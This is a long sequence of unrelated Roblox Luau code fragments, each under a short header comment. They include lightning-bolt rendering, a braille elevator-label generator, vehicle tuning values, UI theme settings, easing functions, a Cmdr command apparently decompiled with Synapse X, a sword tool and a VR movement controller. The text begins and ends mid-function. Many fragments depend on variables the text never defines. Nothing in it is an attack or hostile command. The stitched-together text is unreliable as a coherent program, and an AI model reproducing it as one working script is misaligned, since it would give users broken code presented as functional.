ThisBranch.Parts local PartsN = #Parts local RanNum = ThisBranch.RanNum local StartT = ThisBranch.StartT local spd = ThisBranch.AnimationSpeed local freq = ThisBranch.Frequency local MinThick, MaxThick = ThisBranch.MinThicknessMultiplier, ThisBranch.MaxThicknessMultiplier local a0, a1, CurveSize0, CurveSize1 = ThisBranch.Attachment0, ThisBranch.Attachment1, ThisBranch.CurveSize0, ThisBranch.CurveSize1 local p0, p1, p2, p3 = a0.WorldPosition, a0.WorldPosition + a0.WorldAxis*CurveSize0, a1.WorldPosition - a1.WorldAxis*CurveSize1, a1.WorldPosition local timePassed = clock() - StartT local PulseLength, PulseSpeed, FadeLength = ThisBranch.PulseLength, ThisBranch.PulseSpeed, ThisBranch.FadeLength local Color = ThisBranch.Color local ColorOffsetSpeed = ThisBranch.ColorOffsetSpeed local contractf = 1 - ThisBranch.ContractFrom local PrevPoint, bezier0 = p0, p0 if timePassed < (PulseLength + 1) / PulseSpeed then for i = 1, PartsN do --local spd = NoiseBetween(i/PartsN, 1.5, 0.1*i/PartsN, -MinAnimationSpeed, MaxAnimationSpeed) --Can enable to have an alternative animation which doesn't shift the noisy lightning "Texture" along the bolt local BPart = Parts[i] local t1 = i/PartsN local Opacity = DiscretePulse(t1, PulseSpeed, PulseLength, FadeLength, timePassed, MinOpa, MaxOpa) local bezier1 = CubicBezier(p0, p1, p2, p3, t1) local time = -timePassed --minus to ensure bolt waves travel from a0 to a1 local input, input2 = (spd*time) + freq*10*t1 - 0.2 + RanNum*4, 5*((spd*0.01*time) / 10 + freq*t1) + RanNum*4 local noise0 = NoiseBetween(5*input, 1.5, 5*0.2*input2, 0, 0.1*2*math.pi) + NoiseBetween(0.5*input, 1.5, 0.5*0.2*input2, 0, 0.9*2*math.pi) local noise1 = NoiseBetween(3.4, input2, input, MinRadius, MaxRadius)*math.exp(-5000*(t1 - 0.5)^10) local thicknessNoise = NoiseBetween(2.3, input2, input, MinThick, MaxThick) local NextPoint = i ~= PartsN and (CFrame.new(bezier0, bezier1)*CFrame.Angles(0, 0, noise0)*CFrame.Angles(math.acos(math.clamp(NoiseBetween(input2, input, 2.7, offsetAngle, 1), -1, 1)), 0, 0)*CFrame.new(0, 0, -noise1)).Position or bezier1 if Opacity > contractf then BPart.Size = Vector3.new((NextPoint - PrevPoint).Magnitude, thickness*thicknessNoise*Opacity, thickness*thicknessNoise*Opacity) BPart.CFrame = CFrame.lookAt(0.5*(PrevPoint + NextPoint), NextPoint)*xInverse BPart.Transparency = 1 - Opacity elseif Opacity > contractf - 1/(PartsN*FadeLength) then local interp = (1 - (Opacity - (contractf - 1/(PartsN*FadeLength)))*PartsN*FadeLength)*(t1 < timePassed*PulseSpeed - 0.5*PulseLength and 1 or -1) BPart.Size = Vector3.new((1 - math.abs(interp))*(NextPoint - PrevPoint).Magnitude, thickness*thicknessNoise*Opacity, thickness*thicknessNoise*Opacity) BPart.CFrame = CFrame.lookAt(PrevPoint + (NextPoint - PrevPoint)*(math.max(0, interp) + 0.5*(1 - math.abs(interp))), NextPoint)*xInverse BPart.Transparency = 1 - Opacity else BPart.Transparency = 1 end if typeof(Color) == "Color3" then BPart.Color = Color else --ColorSequence t1 = (RanNum + t1 - timePassed*ColorOffsetSpeed)%1 local keypoints = Color.Keypoints for i = 1, #keypoints - 1 do --convert colorsequence onto lightning if keypoints[i].Time < t1 and t1 < keypoints[i+1].Time then BPart.Color = keypoints[i].Value:lerp(keypoints[i+1].Value, (t1 - keypoints[i].Time)/(keypoints[i+1].Time - keypoints[i].Time)) break end end end PrevPoint, bezier0 = NextPoint, bezier1 end else ThisBranch:Destroy() end else --Enabled = false if ThisBranch.PartsHidden == false then ThisBranch.PartsHidden = true local datr = ThisBranch.DisabledTransparency for i = 1, #ThisBranch.Parts do ThisBranch.Parts[i].Transparency = datr end end end end end) return LightningBolt
-- BrailleGen 3D BETA
Align = true This = script.Parent Btn = This.Parent Lift = Btn.Parent.Parent.Parent Config = require(Lift.CustomLabel) Characters = require(script.Characters) CustomLabel = Config["CUSTOMFLOORLABEL"][tonumber(Btn.Name)] function ChangeFloor(SF) if Align == true then if string.len(SF) == 1 then SetLabel(1,SF,0.045) SetLabel(2,"NIL",0) SetLabel(3,"NIL",0) SetLabel(4,"NIL",0) elseif string.len(SF) == 2 then SetLabel(1,SF:sub(1,1),0.03) SetLabel(2,SF:sub(2,2),0.03) SetLabel(3,"NIL",0) SetLabel(4,"NIL",0) elseif string.len(SF) == 3 then SetLabel(1,SF:sub(1,1),0.015) SetLabel(2,SF:sub(2,2),0.015) SetLabel(3,SF:sub(3,3),0.015) SetLabel(4,"NIL",0) elseif string.len(SF) == 4 then SetLabel(1,SF:sub(1,1),0) SetLabel(2,SF:sub(2,2),0) SetLabel(3,SF:sub(3,3),0) SetLabel(4,SF:sub(4,4),0) end else if string.len(SF) == 1 then SetLabel(1,SF,0) SetLabel(2,"NIL",0) SetLabel(3,"NIL",0) SetLabel(4,"NIL",0) elseif string.len(SF) == 2 then SetLabel(1,SF:sub(1,1),0) SetLabel(2,SF:sub(2,2),0) SetLabel(3,"NIL",0) SetLabel(4,"NIL",0) elseif string.len(SF) == 3 then SetLabel(1,SF:sub(1,1),0) SetLabel(2,SF:sub(2,2),0) SetLabel(3,SF:sub(3,3),0) SetLabel(4,"NIL",0) elseif string.len(SF) == 4 then SetLabel(1,SF:sub(1,1),0) SetLabel(2,SF:sub(2,2),0) SetLabel(3,SF:sub(3,3),0) SetLabel(4,SF:sub(4,4),0) end end end function SetLabel(ID,CHAR,OFFSET) if This:FindFirstChild("BR"..ID) and Characters[CHAR] ~= nil then for i,l in pairs(Characters[CHAR]) do This["BR"..ID].Mesh.MeshId = "rbxassetid://"..l end if CHAR == "A" or CHAR == "1" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, -0.014) elseif CHAR == "B" or CHAR == "2" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, -0.006) elseif CHAR == "C" or CHAR == "3" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, -0.014) elseif CHAR == "D" or CHAR == "4" or CHAR == "E" or CHAR == "5" or CHAR == "F" or CHAR == "6" or CHAR == "G" or CHAR == "7" or CHAR == "H" or CHAR == "8" or CHAR == "I" or CHAR == "9" or CHAR == "J" or CHAR == "0" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, -0.006) elseif CHAR == "K" or CHAR == "L" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, 0) elseif CHAR == "." or CHAR == "+" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.006) elseif CHAR == "-" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.014) elseif CHAR == ";" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.006) elseif CHAR == "*" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET+0.006, 0, 0) else This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0) end end end ChangeFloor("OP") script:Destroy()
--[[Weight and CG]]
Tune.Weight = 3000 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 17.2 } Tune.WeightDist = 51 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- Unanchores all parts in a weld list.
function UnanchorWeldList(weldList) for i,v in pairs(weldList) do v.Part0.Anchored = false v.Part1.Anchored = false end end
--chr.PrimaryPart:WaitForChild("Died"):Destroy()
local folder = script:WaitForChild("Sounds") local soundsDes = folder:GetChildren() for i = 1, #soundsDes do maxLines = #soundsDes end local canPlay = true local function died() local ranNo = math.random(1, maxLines) local str = tostring(ranNo) folder[str]:Play() if folder[str]:FindFirstChild("Effect") then local effect = folder[str].Effect local clone = effect:Clone() clone.Parent = chr.PrimaryPart clone.Disabled = false end end chr:WaitForChild("Humanoid").Died:Connect(died)
--[[ This file is necessary for constructing the default Icon template Do not remove this module otherwise TopbarPlus will break Modifying this file may also cause TopbarPlus to break It's recommended instead to create a separate theme module and use that instead To apply your theme after creating it, do: ```lua local IconController = require(pathway.to.IconController) local Themes = require(pathway.to.Themes) IconController.setGameTheme(Themes.YourThemeName) ``` or by applying to an individual icon: ```lua local Icon = require(pathway.to.Icon) local Themes = require(pathway.to.Themes) local newIcon = Icon.new() :setTheme(Themes.YourThemeName) ``` --]]
return { -- Settings which describe how an item behaves or transitions between states action = { toggleTransitionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), captionFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), tipFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), dropdownSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), menuSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), }, -- Settings which describe how an item appears when 'deselected' and 'selected' toggleable = { -- How items appear normally (i.e. when they're 'deselected') deselected = { iconBackgroundColor = Color3.fromRGB(0, 0, 0), iconBackgroundTransparency = 0.5, iconCornerRadius = UDim.new(0.25, 0), iconGradientColor = ColorSequence.new(Color3.fromRGB(255, 255, 255)), iconGradientRotation = 0, iconImage = "", iconImageColor =Color3.fromRGB(255, 255, 255), iconImageTransparency = 0, iconImageYScale = 0.63, iconImageRatio = 1, iconLabelYScale = 0.45, iconScale = UDim2.new(1, 0, 1, 0), iconSize = UDim2.new(0, 32, 0, 32), iconOffset = UDim2.new(0, 0, 0, 0), iconText = "", iconTextColor = Color3.fromRGB(255, 255, 255), iconFont = Enum.Font.GothamSemibold, noticeCircleColor = Color3.fromRGB(255, 255, 255), noticeCircleImage = "http://www.roblox.com/asset/?id=4871790969", noticeTextColor = Color3.fromRGB(31, 33, 35), baseZIndex = 1, order = 1, alignment = "left", clickSoundId = "rbxassetid://5273899897", clickVolume = 0, clickPlaybackSpeed = 1, clickTimePosition = 0.12 }, -- How items appear after the icon has been clicked (i.e. when they're 'selected') -- If a selected value is not specified, it will default to the deselected value selected = { iconBackgroundColor = Color3.fromRGB(245, 245, 245), iconBackgroundTransparency = 0.1, iconImageColor = Color3.fromRGB(57, 60, 65), iconTextColor = Color3.fromRGB(57, 60, 65), clickPlaybackSpeed = 1.5, } }, -- Settings where toggleState doesn't matter (they have a singular state) other = { -- Caption settings captionBackgroundColor = Color3.fromRGB(0, 0, 0), captionBackgroundTransparency = 0.5, captionTextColor = Color3.fromRGB(255, 255, 255), captionTextTransparency = 0, captionFont = Enum.Font.GothamSemibold, captionOverlineColor = Color3.fromRGB(0, 170, 255), captionOverlineTransparency = 0, captionCornerRadius = UDim.new(0.25, 0), -- Tip settings tipBackgroundColor = Color3.fromRGB(255, 255, 255), tipBackgroundTransparency = 0.1, tipTextColor = Color3.fromRGB(27, 42, 53), tipTextTransparency = 0, tipFont = Enum.Font.GothamSemibold, tipCornerRadius = UDim.new(0.175, 0), -- Dropdown settings dropdownAlignment = "auto", -- 'left', 'mid', 'right' or 'auto' (auto is where the dropdown alignment matches the icons alignment) dropdownMaxIconsBeforeScroll = 3, dropdownMinWidth = 32, dropdownSquareCorners = false, dropdownBindToggleToIcon = true, dropdownToggleOnLongPress = false, dropdownToggleOnRightClick = false, dropdownCloseOnTapAway = false, dropdownHidePlayerlistOnOverlap = true, dropdownListPadding = UDim.new(0, 2), dropdownScrollBarColor = Color3.fromRGB(25, 25, 25), dropdownScrollBarTransparency = 0.2, dropdownScrollBarThickness = 4, -- Menu settings menuDirection = "auto", -- 'left', 'right' or 'auto' (for auto, if alignment is 'left' or 'mid', menuDirection will be 'right', else menuDirection is 'left') menuMaxIconsBeforeScroll = 4, menuBindToggleToIcon = true, menuToggleOnLongPress = false, menuToggleOnRightClick = false, menuCloseOnTapAway = false, menuScrollBarColor = Color3.fromRGB(25, 25, 25), menuScrollBarTransparency = 0.2, menuScrollBarThickness = 4, }, }
-- After the voting period, determine the map with the highest count
local function determineWinningMap() local highestVotes = 0 local winningMap = "" for map, votes in pairs(mapVotes) do if votes > highestVotes then highestVotes = votes winningMap = map end end -- Load the game with the winning map print("The winning map is: " .. winningMap) game.ReplicatedStorage.VotingEnded:FireServer(winningMap) -- Load the winning map using your game's specific logic end
--[[Steering]]
Tune.SteerInner = 36 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 37 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .05 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
-- Decompiled with the Synapse X Luau decompiler.
return { Name = "get-player-place-instance", Aliases = {}, Description = "Returns the target player's Place ID and the JobId separated by a space. Returns 0 if the player is offline or something else goes wrong.", Group = "DefaultDebug", Args = { { Type = "playerId", Name = "Player", Description = "Get the place instance of this player" }, function(p1) return { Type = p1.Cmdr.Util.MakeEnumType("PlaceInstance Format", { "PlaceIdJobId", "PlaceId", "JobId" }), Name = "Format", Description = "What data to return. PlaceIdJobId returns both separated by a space.", Default = "PlaceIdJobId" }; end } };
--Creates a display Gui for the soft shutdown.
return function() local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "SoftShutdownGui" ScreenGui.DisplayOrder = 100 --Create background to cover behind top bar. local Frame = Instance.new("Frame") Frame.BackgroundColor3 = Color3.new(0,170/255,1) Frame.Position = UDim2.new(-0.5,0,-0.5,0) Frame.Size = UDim2.new(2,0,2,0) Frame.ZIndex = 10 Frame.Parent = ScreenGui local function CreateTextLabel(Size,Position,Text) local TextLabel = Instance.new("TextLabel") TextLabel.BackgroundTransparency = 1 TextLabel.Size = Size TextLabel.Position = Position TextLabel.Text = Text TextLabel.ZIndex = 10 TextLabel.Font = "Cartoon" TextLabel.TextScaled = true TextLabel.TextColor3 = Color3.new(1,1,1) TextLabel.TextStrokeColor3 = Color3.new(0,0,0) TextLabel.TextStrokeTransparency = 0 TextLabel.Parent = Frame end --Create text. CreateTextLabel(UDim2.new(0.5,0,0.1,0),UDim2.new(0.25,0,0.4,0),"ATTENTION") CreateTextLabel(UDim2.new(0.5,0,0.05,0),UDim2.new(0.25,0,0.475,0),"This server is being updated") CreateTextLabel(UDim2.new(0.5,0,0.03,0),UDim2.new(0.25,0,0.55,0),"Please wait") --Return the ScreenGui and the background. return ScreenGui,Frame end
--this part manages the local script
local addMyLocalScript = function(player) local localScript = script.ROBLOXInteraction:Clone() local backpack = player:WaitForChild("Backpack") if not player:WaitForChild("Backpack"):FindFirstChild("ROBLOXInteraction") then localScript.Parent = player.Backpack end end local addScriptAtRespawn = function(player)--when a player respawns, give them the script player.CharacterAdded:connect(function() addMyLocalScript(player) end) end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local on = 0 local mult=0 local det=.13 local trm=.4 local trmmult=0 local trmon=0 local throt=0 local redline=0 local shift=0 script:WaitForChild("Rev") script.Parent.Values.Gear.Changed:connect(function() mult=1 if script.Parent.Values.RPM.Value>5000 then shift=.2 end end) for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,0,true) handler:FireServer("playSound","Rev") car.DriveSeat:WaitForChild("Rev") while wait() do mult=math.max(0,mult-.1) local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then throt = math.max(.3,throt-.2) trmmult = math.max(0,trmmult-.05) trmon = 1 else throt = math.min(1,throt+.1) trmmult = 1 trmon = 0 end shift = math.min(1,shift+.2) if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then redline=.5 else redline=1 end if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end local Volume = (on*(4*throt*shift*redline)+(trm*trmon*trmmult*(1-throt)*math.sin(tick()*50))) local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value) if FE then handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume) else car.DriveSeat.Rev.Volume = Volume car.DriveSeat.Rev.Pitch = Pitch end end
-- a: amplitud -- p: period
local function outInElastic(t,a,p, b, c, d) b,c,d = default(b,c,d) b,c,d = default(b,c,d) if t < d / 2 then return outElastic(t * 2, b, c / 2, d, a, p) else return inElastic((t * 2) - d, b + c / 2, c / 2, d, a, p) end end local function inBack(t, s,b, c, d) b,c,d = default(b,c,d) if not s then s = 1.70158 end t = t / d return c * t * t * ((s + 1) * t - s) + b end local function outBack(t, b, c, d, s) b,c,d = default(b,c,d) if not s then s = 1.70158 end t = t / d - 1 return c * (t * t * ((s + 1) * t + s) + 1) + b end local function inOutBack(t,s, b, c, d) b,c,d = default(b,c,d) if not s then s = 1.70158 end s = s * 1.525 t = t / d * 2 if t < 1 then return c / 2 * (t * t * ((s + 1) * t - s)) + b else t = t - 2 return c / 2 * (t * t * ((s + 1) * t + s) + 2) + b end end local function outInBack(t,s, b, c, d) b,c,d = default(b,c,d) if t < d / 2 then return outBack(t * 2, b, c / 2, d, s) else return inBack((t * 2) - d, b + c / 2, c / 2, d, s) end end local function outBounce(t, b, c, d) b,c,d = default(b,c,d) t = t / d if t < 1 / 2.75 then return c * (7.5625 * t * t) + b elseif t < 2 / 2.75 then t = t - (1.5 / 2.75) return c * (7.5625 * t * t + 0.75) + b elseif t < 2.5 / 2.75 then t = t - (2.25 / 2.75) return c * (7.5625 * t * t + 0.9375) + b else t = t - (2.625 / 2.75) return c * (7.5625 * t * t + 0.984375) + b end end local function inBounce(t, b, c, d) b,c,d = default(b,c,d) return c - outBounce(d - t, 0, c, d) + b end local function inOutBounce(t, b, c, d) b,c,d = default(b,c,d) if t < d / 2 then return inBounce(t * 2, 0, c, d) * 0.5 + b else return outBounce(t * 2 - d, 0, c, d) * 0.5 + c * .5 + b end end local function outInBounce(t, b, c, d) b,c,d = default(b,c,d) if t < d / 2 then return outBounce(t * 2, b, c / 2, d) else return inBounce((t * 2) - d, b + c / 2, c / 2, d) end end module = { Linear = linear, InQuad = inQuad, OutQuad = outQuad, InOutQuad = inOutQuad, OutInQuad = outInQuad, InCubic = inCubic , OutCubic = outCubic, InOutCubic = inOutCubic, OutInCubic = outInCubic, InQuart = inQuart, OutQuart = outQuart, InOutQuart = inOutQuart, OutInQuart = outInQuart, InQuint = inQuint, OutQuint = outQuint, InOutQuint = inOutQuint, OutInQuint = outInQuint, InSine = inSine, OutSine = outSine, InOutSine = inOutSine, OutInSine = outInSine, InExpo = inExpo, OutExpo = outExpo, InOutExpo = inOutExpo, OutInExpo = outInExpo, InCirc = inCirc, OutCirc = outCirc, InOutCirc = inOutCirc, OutInCirc = outInCirc, InElastic = inElastic, OutElastic = outElastic, InOutElastic = inOutElastic, OutInElastic = outInElastic, InBack = inBack, OutBack = outBack, InOutBack = inOutBack, OutInBack = outInBack, InBounce = inBounce, OutBounce = outBounce, InOutBounce = inOutBounce, OutInBounce = outInBounce, } return module
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") RunAnim = Tool:WaitForChild("RunAnim") Returned = Tool:WaitForChild("Returned") ProjectileScript = script:WaitForChild("ProjectileScript") StandardC1 = CFrame.new(-0.5, 0.5, 0) * CFrame.Angles(0, (math.pi / 2), 0) RunAnim.Value = "" OriginalGrip = Tool.Grip CurrentGrip = OriginalGrip Debris = game:GetService("Debris") Players = game:GetService("Players") function SwordUp() CurrentGrip = OriginalGrip end function SwordOut() CurrentGrip = OriginalGrip * CFrame.Angles((math.pi / 4), 0.4, 0) end function SpinSword(SpinTime) Spawn(function() local StartSpin = tick() local EndSpin = StartSpin + SpinTime while tick() < EndSpin do Tool.Grip = CurrentGrip * CFrame.Angles(math.pi * 2 * ((tick() - StartSpin) / SpinTime), 0, 0) wait() end Tool.Grip = CurrentGrip end) end Tool.Equipped:connect(function(Mouse) Equipped = true Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") RightShoulder = Torso:FindFirstChild("Right Shoulder") local CurrentLast = LastEquipped Mouse.KeyDown:connect(function(Key) local Key = Key:lower() if Key == "q" and Tool.Enabled then if Player and Character and Humanoid and Torso and RightShoulder and Returned.Value then Tool.Enabled = false Returned.Value = false for i = 1, 15 do RightShoulder.C1 = StandardC1 * CFrame.Angles(0, 0, (-i * (math.pi / 30))) wait() end wait(0.1) TargetPoint = Humanoid.TargetPoint TargetDir = Torso.CFrame:pointToObjectSpace(TargetPoint) - Vector3.new(1, 0.5, 0) TargetVertAngle = math.atan(TargetDir.Y / TargetDir.Z) if TargetDir.Z > 0 then if TargetDir.X > 0 then TargetHorAngle = (math.pi / 2) else TargetHorAngle = (-math.pi / 2) end else TargetHorAngle = math.atan(TargetDir.X / TargetDir.magnitude) end for i = 1, 5 do wait() RightShoulder.C1 = StandardC1 * CFrame.Angles((i * (TargetHorAngle / 5)), 0, (((i - 5) * (math.pi / 10)) + (i * (TargetVertAngle / 5)))) end ProjectileScriptClone = ProjectileScript:Clone() ProjectileScriptClone.TargetPos.Value = Humanoid.TargetPoint ProjectileScriptClone.Disabled = false ProjectileScriptClone.Parent = Tool wait(0.2) for i = 10, 0, -1 do wait() RightShoulder.C1 = StandardC1 * CFrame.Angles((i * (TargetHorAngle / 10)), 0, 0) end else Tool.Enabled = true end end end) if not Tool.Enabled then wait(5) Tool.Enabled = true end end) Tool.Unequipped:connect(function() Equipped = false Handle.Transparency = 0.0 if RightShoulder then RightShoulder.C1 = StandardC1 end end) RunAnim.Changed:connect(function() local Anim = Tool:FindFirstChild(RunAnim.Value) if Anim and Humanoid then TheAnim = Humanoid:LoadAnimation(Anim) if TheAnim and Humanoid.Health > 0 then TheAnim:Play() if RunAnim.Value == "RightSlash" or RunAnim.Value == "LeftSlash" or RunAnim.Value == "OverHeadSwing" then SpinSword(0.5) end if RunAnim.Value == "OverHeadSwing" then wait(0.25) SwordOut() wait(0.5) SwordUp() Tool.Grip = CurrentGrip elseif RunAnim.Value == "OverHeadSwingFast" then wait(0.125) SwordOut() wait(0.25) SwordUp() Tool.Grip = CurrentGrip end end end end)
--[[** Adds a promise to the janitor. If the janitor is cleaned up and the promise is not completed, the promise will be cancelled. @param [t:Promise] PromiseObject The promise you want to add to the janitor. @returns [t:Promise] **--]]
function Janitor.__index:AddPromise(PromiseObject) if not Promise.is(PromiseObject) then error(string.format(NOT_A_PROMISE, typeof(PromiseObject), tostring(PromiseObject))) end if PromiseObject:getStatus() == Promise.Status.Started then local Id = newproxy(false) local NewPromise = self:Add(Promise.resolve(PromiseObject), "cancel", Id) NewPromise:finallyCall(self.Remove, self, Id) return NewPromise else return PromiseObject end end
--- A helper that evaluates and runs the command in one go. -- Either returns any validation errors as a string, or the output of the command as a string. Definitely a string, though.
function Dispatcher:EvaluateAndRun (text, executor, options) executor = executor or Players.LocalPlayer options = options or {} if RunService:IsClient() and options.IsHuman then self:PushHistory(text) end local command, errorText = self:Evaluate(text, executor, nil, options.Data) if not command then return errorText end local ok, out = xpcall(function() local valid, errorText = command:Validate(true) -- luacheck: ignore if not valid then return errorText end return command:Run() or "Command executed." end, function(value) return debug.traceback(tostring(value)) end) if not ok then warn(("Error occurred while evaluating command string %q\n%s"):format(text, tostring(out))) end return ok and out or "An error occurred while running this command. Check the console for more information." end
-- TODO: Re-enable once appearance checking works --print(game.Players.LocalPlayer:HasAppearanceLoaded()) --game:GetService("Players").LocalPlayer.CharacterAppearanceLoaded:wait()
wait() local mass = 0 for _,v in pairs(root:GetConnectedParts(true)) do mass = mass + v:GetMass() end local vectorForce = Instance.new("VectorForce", root) vectorForce.Name = "Gravity" vectorForce.Attachment0 = root.RootRigAttachment vectorForce.RelativeTo = Enum.ActuatorRelativeTo.World vectorForce.ApplyAtCenterOfMass = true vectorForce.Force = 196.2*mass*Vector3.new(0,-1,0) humanoid.StateChanged:Connect(function(old, new) if new == Enum.HumanoidStateType.Dead or new == Enum.HumanoidStateType.Physics then vectorForce.Enabled = false else vectorForce.Enabled = true end end)
-- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/index.ts
-- In radian the maximum accuracy penalty
local MaxSpread = 0.12
-- initialize to idle
playAnimation("idle", 1, Humanoid) pose = "Standing" while Figure.Parent~=nil do local _, time = wait(1) move(time) end
--[=[ Detects if a table has an embedded table as one of its members. ```lua local Shallow = {"a", "b"} local Deep = {"a", {"b"}} print(TableKit.IsFlat(Shallow)) -- prints true print(TableKit.IsFlat(Deep)) -- prints false ``` @within TableKit @param tbl table @return boolean ]=]
function TableKit.IsFlat(tbl: { [unknown]: unknown }): boolean for _, v in tbl do if typeof(v) == "table" then return false end end return true end
--[[ MoveControllerCreator:CreateMoveController(VRTouchpad,CharacterClass) Creates an Move controller given a VRTouchpad and CharacterClass RETURNS: MoveControllerClass CLASS MoveControllerClass MoveControllerClass:UpdateController(ControllerCF) Updates controller with given Controller CFrame MoveControllerClass:Disconnect() Disconnects all events --]]
local MoveControllerCreator = {} local Configuration = require(script.Parent.Parent:WaitForChild("Configuration")) local MAGNITUDE_THRESHOLD = Configuration.MoveControllerCreator.MAGNITUDE_THRESHOLD local TouchpadThumbstickToInput = { ["None"] = Enum.KeyCode.Thumbstick1, [Enum.VRTouchpad.Left] = Enum.KeyCode.Thumbstick1, [Enum.VRTouchpad.Right] = Enum.KeyCode.Thumbstick2, } local VRService = game:GetService("VRService") local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local sin,cos,atan2 = math.sin,math.cos,math.atan2 local GlobalCharacterClass local CurCharX,CurCharZ = 0,0 local ControllerX,ControllerY,ControllerMag,ControllerAngle = 0,0,0,0 local CurrentControllerLookAngle = 0 local CameraYLocked = false RunService.RenderStepped:Connect(function(DeltaTime) if GlobalCharacterClass and ControllerMag > 0 then local FinalAngle = CurrentControllerLookAngle + ControllerAngle local TotalWalkspeed = GlobalCharacterClass.Humanoid.WalkSpeed * DeltaTime * ControllerMag local MoveX,MoveZ = sin(FinalAngle) * TotalWalkspeed,-cos(FinalAngle) * TotalWalkspeed CurCharX,CurCharZ = CurCharX + MoveX,CurCharZ + MoveZ GlobalCharacterClass:SetCharacterXZOffset(CurCharX,CurCharZ) end end) function MoveControllerCreator:CreateMoveController(VRTouchpad,CharacterClass) GlobalCharacterClass = CharacterClass local MoveControllerClass = {} local CharacterModel = CharacterClass.CharacterModel if VRTouchpad then VRService:SetTouchpadMode(VRTouchpad,Enum.VRTouchpadMode.Touch) else VRTouchpad = "None" end local ThumbstickInput = TouchpadThumbstickToInput[VRTouchpad] local Left,Right = Enum.VRTouchpad.Left,Enum.VRTouchpad.Right local LeftHand,RightHand = Enum.UserCFrame.LeftHand,Enum.UserCFrame.RightHand local function ValidInput() if VRTouchpad == "None" then if ThumbstickInput == TouchpadThumbstickToInput[Left] then return not VRService:GetUserCFrameEnabled(LeftHand) else return not VRService:GetUserCFrameEnabled(RightHand) end else return VRService:GetUserCFrameEnabled((VRTouchpad == Left and LeftHand or RightHand)) end end local ControllerLookAngle = 0 function MoveControllerClass:UpdateController(ControllerCF) ControllerLookAngle = atan2(ControllerCF.lookVector.X,-ControllerCF.lookVector.Z) end local function StartInput() if CameraYLocked == false then CameraYLocked = true CharacterClass:SetYPlaneLockWorldOffset(true) end end local function EndInput() ControllerX,ControllerY = 0,0 ControllerMag = 0 if (CurCharX ~= 0 or CurCharZ ~= 0) and CameraYLocked then CameraYLocked = false CharacterClass:SetYPlaneLockWorldOffset(false) local CurOffset = CharacterClass:GetWorldOffset() CharacterClass:SetCharacterXZOffset(0,0) CharacterClass:SetWorldXZOffset(CurCharX + CurOffset.X,CurCharZ + CurOffset.Z) CurCharX,CurCharZ = 0,0 end end local UserInputEvent1 = UserInputService.InputEnded:Connect(function(Input) local KeyCode = Input.KeyCode if KeyCode == ThumbstickInput and ValidInput() then EndInput() end end) local UserInputEvent2 = UserInputService.InputChanged:Connect(function(Input) if Input.KeyCode == ThumbstickInput and ValidInput() then local X,Y = Input.Position.X,Input.Position.Y local Magnitude = ((X ^ 2) + (Y ^ 2)) ^ 0.5 local Angle = atan2(X,Y) ControllerAngle = Angle 